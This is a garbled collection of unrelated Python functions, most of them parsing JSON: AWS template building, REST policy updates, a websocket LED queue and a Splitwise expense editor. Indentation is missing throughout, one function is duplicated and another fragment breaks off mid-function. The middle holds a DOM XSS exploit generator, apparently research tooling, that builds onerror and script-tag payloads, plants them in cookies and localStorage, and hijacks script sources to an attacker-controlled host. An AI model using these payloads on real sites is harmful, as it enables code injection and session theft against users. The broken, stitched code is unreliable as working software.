def create_sc_product_template(file_path, file_name, sc_product_template_target):
# Unzip the ALZ Add-On package
zip_call = zipfile.ZipFile(file_path + file_name)
zip_call.extractall(file_path)
zip_call.close()
# Use Service Catalog product template
shutil.copyfile(sc_product_template_src, file_path + sc_product_template_target)
# Get the content of Service Catalog product template
with open(file_path + sc_product_template_target, 'r') as yaml_file:
sc_product_template_content = yaml.load(yaml_file)
# Get ALZ Add-On product template
for root, dirs, files in os.walk(file_path):
for name in files:
if (root == file_path + "templates/core_accounts") and (".template" in name):
alz_add_on_template = "templates/core_accounts/" + name
break
# Convert the product template in json to template in yaml
file = file_path + alz_add_on_template
if (utils.is_json(file) is True) and (utils.is_yaml(file) is False):
utils.json_2_yaml(file, file_path + 'temp_yaml.template')
shutil.move(file_path + 'temp_yaml.template', file_path + alz_add_on_template)
elif (utils.is_json(file) is False) and (utils.is_yaml(file) is True):
pass
else:
raise ValueError('The file is neither json nor yaml! exit()')
exit()
# Get the content of ALZ Add-On product template
parameter_dict = dict()
with open(file_path + alz_add_on_template, 'r') as yaml_file:
alz_add_on_template_content = yaml.load(yaml_file)
alz_add_on_template_parameters = alz_add_on_template_content["Parameters"]
for key in alz_add_on_template_parameters:
parameter_dict[key] = ("!Ref " + key)
# Populate Service Catalog product template from ALZ Add-On template
sc_product_template_content["Parameters"].update(alz_add_on_template_content["Parameters"])
sc_product_template_content["Metadata"]["AWS::CloudFormation::Interface"]["ParameterGroups"].extend\
(alz_add_on_template_content["Metadata"]["AWS::CloudFormation::Interface"]["ParameterGroups"])
sc_product_template_content["Resources"]["LandingZoneAddOnConfigDeployer"]["Properties"]["find_replace"][0]["parameters"].update(parameter_dict)
if sc_product_template_content:
with open(file_path + sc_product_template_target, 'w') as yaml_file:
yaml.dump(sc_product_template_content, yaml_file)
# Clean up extra quotes
with open(file_path + sc_product_template_target, 'r+') as text_file:
sc_product_template_content = text_file.readlines()
text_file.seek(0)
for line in sc_product_template_content:
if "'!Ref" in line:
text_file.write(line.replace("'", ""))
else:
text_file.write(line)
text_file.truncate()
return
def _prepare_query(self, params):
if isinstance(params, CustomTranscodingParams):
query_obj = Query()
query_obj.params = params
query_obj.validate_params()
if query_obj.error:
self.error = query_obj.error
self.message = query_obj.message
query_obj.prepare_params()
if query_obj.error:
self.error = query_obj.error
self.message = query_obj.message
return query_obj.query
if isinstance(params, dict):
query = rm_key_if_null(params)
return json.dumps(query)
if isinstance(params, basestring):
if is_json(params):
query = rm_key_if_null(params)
return query
else:
self.error = True
try:
self.message = "JSON is not well formatted: {0} Is not defined".format(
params)
except Exception as e:
pass
finally:
self.message = "JSON is not well formatted"
def fetchProductTemplateData(qsProductTemplate, addOnTemplateCoreFile):
webURL = urllib.request.urlopen(qsProductTemplate)
data = webURL.read()
# created file out of data to pass as parameter to util function
file = "/tmp/templateTestFile"
fileObj = open(file, "wb")
fileObj.write(data)
if (utils.is_json(file) is True) and (utils.is_yaml(file) is False):
jsonObject=json.loads(data.decode('utf-8'))
str = json.dumps(jsonObject, indent=4, sort_keys=True)
elif (utils.is_json(file) is False) and (utils.is_yaml(file) is True):
yamlObject = yaml.load(data)
out = io.StringIO();
yaml.dump(yamlObject, out)
str = out.getvalue()
qsProductTemplateContent=io.StringIO(str)
return (addOnTemplateCoreFile,qsProductTemplateContent)
def main(args):
"""App's main"""
#start_time = time.time()
#stime = strftime("%a %b %d %H:%M %Y", gmtime())
if len(sys.argv) > 1:
with open(args.filename, buffering=-1) as data_file:
data = data_file.read()
json_status, json_string = utl.is_json(data)
if json_status:
keylist = json_string.keys()
if utl.validate_input(**json_string):
for rules in json_string['RuleList']:
my_cls = cmn.GCP()
my_cls.process(**rules)
else:
print "Provided json doesn't contain all the necessary keys"
else:
print "Provided json is not valid"
def update(config, app_id, type, id, file):
"""Update an application policy.
"""
try:
data = ''
while True:
chunk = file.read(1024)
if not chunk:
break
data += chunk
if not is_json(data):
raise click.BadParameter('The policy file ' + file.name \
+ ' is not a valid json file.')
url = config.server_url + '/v1/applications/' + str(app_id) \
+ '/policies/' + type + '/' + str(id)
headers = {'username': config.user, 'Content-Type': 'application/json'}
rest = Rest(url, headers, data)
display(rest.put())
except RestError as error:
quit(error.message)
def update(config, app_id, type, id, file):
"""Update an application policy.
"""
try:
data = ''
while True:
chunk = file.read(1024)
if not chunk:
break
data += chunk
if not is_json(data):
raise click.BadParameter('The policy file ' + file.name \
+ ' is not a valid json file.')
url = config.server['url'] + '/v1/applications/' + str(app_id) \
+ '/policies/' + type + '/' + str(id)
headers = {'username':config.user, 'Content-Type':'application/json'}
rest = Rest(url, headers, data)
display(rest.put())
except RestError as error:
quit(error.message)
def send_request(self, url, payload):
if payload and self.http_method == 'GET':
response = requests.get(url, payload)
else:
request = Request(self.http_method,
url,
json=payload,
headers=self.headers)
prepped = request.prepare()
timeout = (10, self.timeout_read)
response = self._session.send(prepped, timeout=timeout)
valid_codes = (200, 201)
if hasattr(response, 'status'):
status_code = response.status
else:
status_code = response.status_code
if response and status_code in valid_codes and response.text:
return json.loads(response.text)
else:
logging.info("EXTERNAL API: request error: {0}".format(
response.reason))
if is_json(response.text):
content = json.loads(response.text)
msg = content['error'] if 'error' in content else content[
'detail']
else:
msg = response.text[0:response.text.index('Request Method'
)].strip()
if 'Timestamp expired' in msg:
return self.correct_auth_timestamp(msg, payload)
elif not self.fail_silently:
raise APIError(message_values=(msg.encode('utf8'), ))
else:
return {'error': msg.encode('utf8')}
def get_html_exploit(finding):
"""
Generate exploits for an HTML executing sink.
:param finding: the finding to investigate
:return: list of exploit candidates
"""
exploits = list()
# our payload is a piece of Javascript, thus we need to prepare it into an HTML payload first
validation_payload = CONFIG.payload
payload = "<img src=foo onerror=%s onload=%s>" % (validation_payload, validation_payload)
# textareas are the easiest way to breakin into HTML
# since they catch anything up to the the closing tag of the current environment
breakin = "<textarea>"
# in instances where we can write script tags we can also simply resort to this simpler case
if finding["sink_id"] in [SINKS.SINK_DOC_WRITE, SINKS.SINK_IFRAME_SRCDOC]:
payload = "<script>%s</script>" % validation_payload
try:
# start generating the appropriate breakouts
parser = HTMLStateMachine()
prior_parsed = 0
# there are findings in which we have plenty sources which are just generating duplicate exploits
# will only be vulnerable if a predecessor is also vulnerable, thus restrict to the 20 first
for source in finding["sources"][:20]:
# the complete value ending up in the sink
value = finding["value"]
# the specific part of the value originating from this source
value_part = source["value_part"]
# skip unreasonable values/sources which are not considered in our exploitation
if source["value_part"] == "?":
continue
if source["source"] not in GENERATE_EXPLOIT_FOR_SOURCES:
log("Skipping source with source_id {}!".format(source["source"]))
continue
if source["hasEscaping"] + source["hasEncodingURI"] + source["hasEncodingURIComponent"] > 0:
log("Skipping source with encoding!")
continue
# offsets in the overall value
taint_start, taint_end = source["start"], source["end"]
# if this is not the case we have encoding problems in which case some bytes might be missing
# thus we need to recalc the offset
if value_part != value[taint_start:taint_end]:
if value.count(value_part) == 1:
taint_start = value.find(value_part)
taint_end = taint_start + len(value_part)
log('Mismatch in taint start info %s %s' % (taint_start, len(value)))
else:
continue
# get the string part which resides between the current source and the prior parsed part of the string
# then feed it into our state machine and use the resulting state as basis to generate the breakout
string_to_parse = finding["value"][prior_parsed:taint_start] + source["value_part"]
prior_parsed = taint_end
log("Getting HTML breakout for %s (%s): %s" % (source["id"], string_to_parse, value_part))
# feeds the string to the parser and then outputs the breakout sequence
breakout_sequence = getHTMLBreakout(parser, string_to_parse)
log("Result: %s" % breakout_sequence)
# TODO (ben) fix this bridge, not only rcxss but also pcxss and if we have only seen / we can do stuff
# check if we are currently in the process of writing the src property of a script tag which we can hijack
if len(parser.opened_tags) > 0:
top_element = parser.opened_tags[0]
if top_element.get("name", "").lower() == 'script' and len(top_element.get("attributes", [])):
if (top_element.get("attributes")[0]).get("name", "") == 'src':
url_so_far = urljoin(finding["url"], top_element["attributes"][0]["value"])
if url_so_far.count("/") < 3:
# we control the origin, woohoo
parsed = urlsplit(url_so_far)
if parsed.netloc in source["value_part"] or source["value_part"] in parsed.netloc:
payload = source["value_part"].replace(parsed.netloc, SCRIPT_SOURCE_HOSTNAME)
breakout_sequence = ""
exploit_url = build_reflected_exploit(finding,
payload,
source["value_part"], source["source"])
if exploit_url:
exploits.append(createWebExploit(exploit_url, source["id"]))
continue
# We have a generated a breaout sequence and can make use of it now
if breakout_sequence is not None:
if source["source"] not in [SOURCES.SOURCE_COOKIE, SOURCES.SOURCE_LOCAL_STORAGE,
SOURCES.SOURCE_SESSION_STORAGE]:
# RCXSS
# assemble the complete exploit candidate
resulting_markup = value[:taint_start] + source[
"value_part"] + breakout_sequence + payload + breakin + value[taint_end:]
assert resulting_markup != value
working_exploit = False
# check for exploitability
try:
soup = BeautifulSoup(resulting_markup, "html5lib")
for script in soup.find_all("script"):
# either we are injected into a script
if script.text:
if script.text == validation_payload:
working_exploit = True
# or part of a script src
if "src" in script.attrs:
parsed = urlsplit(script["src"])
if parsed.netloc.endswith(SCRIPT_SOURCE_HOSTNAME):
working_exploit = True
# or into the onload/onerror of an image
for img in soup.find_all("img"):
if "onload" in img.attrs and img["onload"].strip() == validation_payload:
working_exploit = True
except Exception, e:
log('Error in parsing resulting payload of an HTML exploit {}'.format(e))
# We were not able to find our payload thus also we do not need to validate
if not working_exploit:
log("After substitution of HTML exploit, payload was non functional!")
continue
# we are building exploits for reflected source thus build the respective urls
exploit_url = build_reflected_exploit(finding,
source["value_part"] + breakout_sequence + payload + breakin,
source["value_part"], source["source"])
if exploit_url is None:
log('Unable to generate exploit URL for HTML RCXSS!')
continue
else:
exploits.append(createWebExploit(exploit_url, source["id"]))
else:
# PCXSS
# select the appropriate storage
if source["source"] == SOURCES.SOURCE_COOKIE:
storage_items = finding["storage"]["cookies"]
else:
storage_items = finding["storage"]["storage"]
if len(storage_items) == 0:
matches = None
else:
matches = find_match(storage_items, value_part)
if matches is None and source["source"] == SOURCES.SOURCE_COOKIE and ";" in value_part:
# document.cookie directly into sink
exploits.append(
createPCXSSExploit(source["source_name"], "___foobar___", None, source["id"],
None,
payload + breakin))
elif matches is None:
log('Could not find the respective storage entry for an HTML PCXSS exploit!')
else:
# we actually have matches
for match in matches:
matched_key, matched_value, matched_storage_value, fuzzy, addinfo = match
# TODO merge with above
if matched_key in ("_parsely_visitor", "_parsely_session"):
continue
if is_json(matched_storage_value):
parsed = try_parse_json(matched_storage_value)
else:
parsed = None
# storage value is a dict
if parsed:
replace_value = matched_storage_value
replace_with = recursive_replace(parsed,
source["value_part"],
source["value_part"] + breakout_sequence +
payload + breakin)
replace_with = json.dumps(replace_with)
# the storage value is not a dictionary
else:
replace_value = matched_storage_value
replace_with = replace_value.replace(source["value_part"],
source["value_part"] + breakout_sequence +
payload + breakin)
if "quoted" in addinfo:
try:
replace_with = quote(replace_with)
except KeyError:
replace_with = manual_quote(replace_with)
if replace_with == replace_value:
continue
# FIXME what could possibly go wrong here if you change the payload to something malicious ;)
if "alert" not in replace_with and "persistent" not in replace_with:
log('Failed to find HTML exploit after substitution for PCXSS JS exploit!')
continue
exploits.append(
createPCXSSExploit(source["source_name"], matched_key, matched_storage_value,
source["id"],
replace_value, replace_with))
except Exception as e:
log("ERR {} {}".format(e, finding["finding_id"]))
return exploits
def get_script_src_exploit(finding):
"""
Generate exploit candidates which flow into the script src sink.
:param finding: the finding to analyze
:return: list of exploit candidates
"""
exploits = []
for source in finding["sources"]:
script_src = finding["value"]
if len(source["value_part"]) == 1:
continue
found = False
original_script_src = script_src
# we have found the complete value directly, just substitute it with a hostname under our control
if script_src.startswith(source["value_part"]):
payload = "https://" + SCRIPT_SOURCE_HOSTNAME + '/'
found = True
# check for relative URL
if not script_src.startswith("http"):
script_src = urljoin(finding["url"], script_src)
parsed = urlsplit(script_src)
if parsed.netloc == source["value_part"]:
payload = SCRIPT_SOURCE_HOSTNAME + '/'
found = True
end_of_domain = len(parsed.scheme) + len("://") + len(parsed.netloc)
script_src_diff = len(script_src) - len(original_script_src)
# our value lies somewhere where we can influence the location
if -1 < source["start"] + script_src_diff < end_of_domain:
if source["end"] + script_src_diff < len(parsed.scheme) + len("://"):
# but just in the protocol :(
continue
# replace the netlocation with our hostname
payload = source["value_part"].replace(parsed.netloc, SCRIPT_SOURCE_HOSTNAME)
# if it is not part of the initial value, just try to insert it anyway
if parsed.netloc not in source["value_part"]:
payload = "." + SCRIPT_SOURCE_HOSTNAME + '/'
found = True
# found = True => payload is defined
if found:
# if it is a reflected source, build reflected exploit candidate
if source["source"] not in [SOURCES.SOURCE_COOKIE, SOURCES.SOURCE_LOCAL_STORAGE,
SOURCES.SOURCE_SESSION_STORAGE]:
exploit_urls = build_reflected_exploit(finding, payload, source["value_part"], source["source"])
# if it worked, we cann add it to our found exploits
if exploit_urls is not None:
exploits.append(createWebExploit(exploit_urls, source["id"]))
else:
# build a PCXSS exploit candidate
# fetch the respective storage entries to check for our tainted value
if source["source"] == SOURCES.SOURCE_COOKIE:
storage_items = finding["storage"]["cookies"]
else:
storage_items = finding["storage"]["storage"]
if len(storage_items) == 0:
# we dont have any storage items recorded, so nothing to see
continue
matches = find_match(storage_items, source["value_part"])
# for each match in the storage entries we can generate a candidate
for match in matches:
matched_key, matched_value, matched_storage_value, fuzzy, addinfo = match
if is_json(matched_storage_value):
parsed = try_parse_json(matched_storage_value)
else:
parsed = None
if parsed and matched_storage_value != source["value_part"]:
# we need to replace the whole thing
replace_value = matched_storage_value
replace_with = recursive_replace(parsed,
source["value_part"],
payload)
replace_with = json.dumps(replace_with)
else:
replace_value = matched_storage_value
replace_with = replace_value.replace(source["value_part"],
payload)
if "quoted" in addinfo:
try:
replace_with = quote(replace_with)
except KeyError:
replace_with = manual_quote(replace_with)
# check whether the substitution was indeed successful
if 'alert' not in replace_with and SCRIPT_SOURCE_HOSTNAME not in replace_with:
log("Substitution of script source PCXSS candidate did not work!")
else:
exploits.append(
createPCXSSExploit(source["source_name"], matched_key, matched_storage_value,
source["id"],
replace_value, replace_with))
return exploits
exploits.append(
createPCXSSExploit(source["source_name"], "___foobar___", None, source["id"],
replace_value,
replace_with))
# we cannot find matches
elif matches is None:
log('Could not find the respective storage entry for a JS PCXSS exploit!')
# we actually have matches
else:
for match in matches:
matched_key, matched_value, matched_storage_value, fuzzy, addinfo = match
# TODO merge with previous same code
if matched_key in ("_parsely_visitor", "_parsely_session"):
continue
if is_json(matched_storage_value):
parsed = try_parse_json(matched_storage_value)
else:
parsed = None
if is_json(source["value_part"]):
parsed_value = try_parse_json(source["value_part"])
else:
parsed_value = None
# check if both are dicts, if so => eval(dict) case
if isinstance(parsed, dict) and isinstance(parsed_value, dict):
if parsed.keys() == parsed_value.keys():
# same keys, we can simply replace the whole string
replace_with = CONFIG.payload
if "quoted" in addinfo:
replace_with = quote(replace_with)
replace_value = matched_storage_value
def get_from_pr_body(field, pull_request):
if is_json(pull_request.body):
pr_opts = dbox(Box.from_json(pull_request.body))
return pr_opts[field] or None
else:
return None
def on_message(ws, message):
global is_initialized
global max_leds_per_queue
global max_time_per_led
global min_time_per_led
global time_between_executions
global is_execution_running
global is_server_ready
json_msg = is_json(message)
if not json_msg:
print('error: not valid json, discarding')
return
if ("type" not in json_msg):
print('error: not valid message, type missing')
return
if json_msg["type"] == "serverInitialValues":
if (parse_initial_values(json_msg)):
print('ERROR: erroneous initial values, closing connection')
ws.close()
exit()
if (is_initialized):
print('initial values already defined, discarding')
max_leds_per_queue = json_msg["maxLedsPerQueue"]
max_time_per_led = json_msg["maxTimePerLed"] / 1000 # time in seconds
min_time_per_led = json_msg["minTimePerLed"] / 1000 # time in seconds
time_between_executions = json_msg[
"timeBetweenExecutions"] / 1000 # time in seconds
is_initialized = True
is_server_ready = True
print('server initialized successfully %g %g %g %g' %
(max_leds_per_queue, max_time_per_led, min_time_per_led,
time_between_executions))
print('sending: requestNextInQueue')
ws.send("{ \"type\": \"requestNextInQueue\" }")
return
if json_msg["type"] == "nextQueueItem":
if not is_initialized or is_execution_running or not is_server_ready:
print('error: server not ready, discarding queue item')
return
queue_item = parse_queue_item(json_msg)
if not queue_item:
print('error: not valid queue item, discarding')
return
#SEND STARTING EXECUTION
is_execution_running = True
is_server_ready = False
print('sending: executionStarted')
ws.send("{ \"type\": \"executionStarted\" }")
#EXECUTE QUEUE ITEM
execute_queue_item(queue_item)
#SEND STOPPING EXECUTION
is_execution_running = False
print('sending: executionStopped')
ws.send("{ \"type\": \"executionStopped\" }")
_thread.start_new_thread(wait_and_request_next_item, ())
return
if json_msg["type"] == "singleClickData":
if not is_initialized or is_execution_running:
print('error: server not ready, single click')
return
single_click = parse_single_click(json_msg)
if not single_click:
print('error: not valid single click, discarding')
return
print('received single click')
execute_single_click(single_click)
return
print('server not initialized or msg of unknown type: %s' %
json_msg["type"])
def update_expense(expense):
if expense.deleted_at:
return expense
if expense.payment:
return expense
try:
ignore_old_details = config.ignore_old_remarks
except Exception:
ignore_old_details = False
try:
skip_completed = config.skip_completed
except Exception:
skip_completed = False
s = splitwise.Splitwise(config.consumer_key,
config.consumer_secret,
api_key=config.API_key)
print(
'---------------------------------------------------------------------------------------'
)
print_formatted_text(
HTML('<ansigreen>' + _('Description: ') + '</ansigreen>' +
get_display(expense.description) + '(' +
utils.to_simple_local_date_string(expense.date) + ')'))
if utils.is_json(expense.details):
if skip_completed:
return expense
det = json.loads(expense.details)
upgrade = det['is_boat_upgrade']
if upgrade:
upgrade = 'Y'
else:
upgrade = 'N'
ug = utils.default_input(_('Is considered upgrade?') + '(' + upgrade +
')',
upgrade, ['Y', 'N'],
ignore_case=True)
category = det['category']
category = utils.default_input(_('Expense category?'),
category,
categories,
ignore_case=True)
store = det['store']
store = utils.session_input(_('Store?'), session, store)
remarks = det['remarks']
else:
print_formatted_text(
HTML('<ansigreen>' + _('Details: ') + '</ansigreen>' +
get_display(str(expense.details))))
ug = utils.default_input(_('Is considered upgrade?') + '(Y/N)',
'N', ['Y', 'N'],
ignore_case=True)
category = utils.default_input(_('Expense category?'),
'Other',
options=categories,
ignore_case=True)
store = utils.session_input(_('Store?'), session, '')
remarks = "" if ignore_old_details else expense.details
ug = utils.convert_yn_to_bool(ug)
new_details = create_details_json(remarks, category, store, ug)
e = Expense()
e.id = expense.id
e.setDetails(new_details)
return s.updateExpense(e)
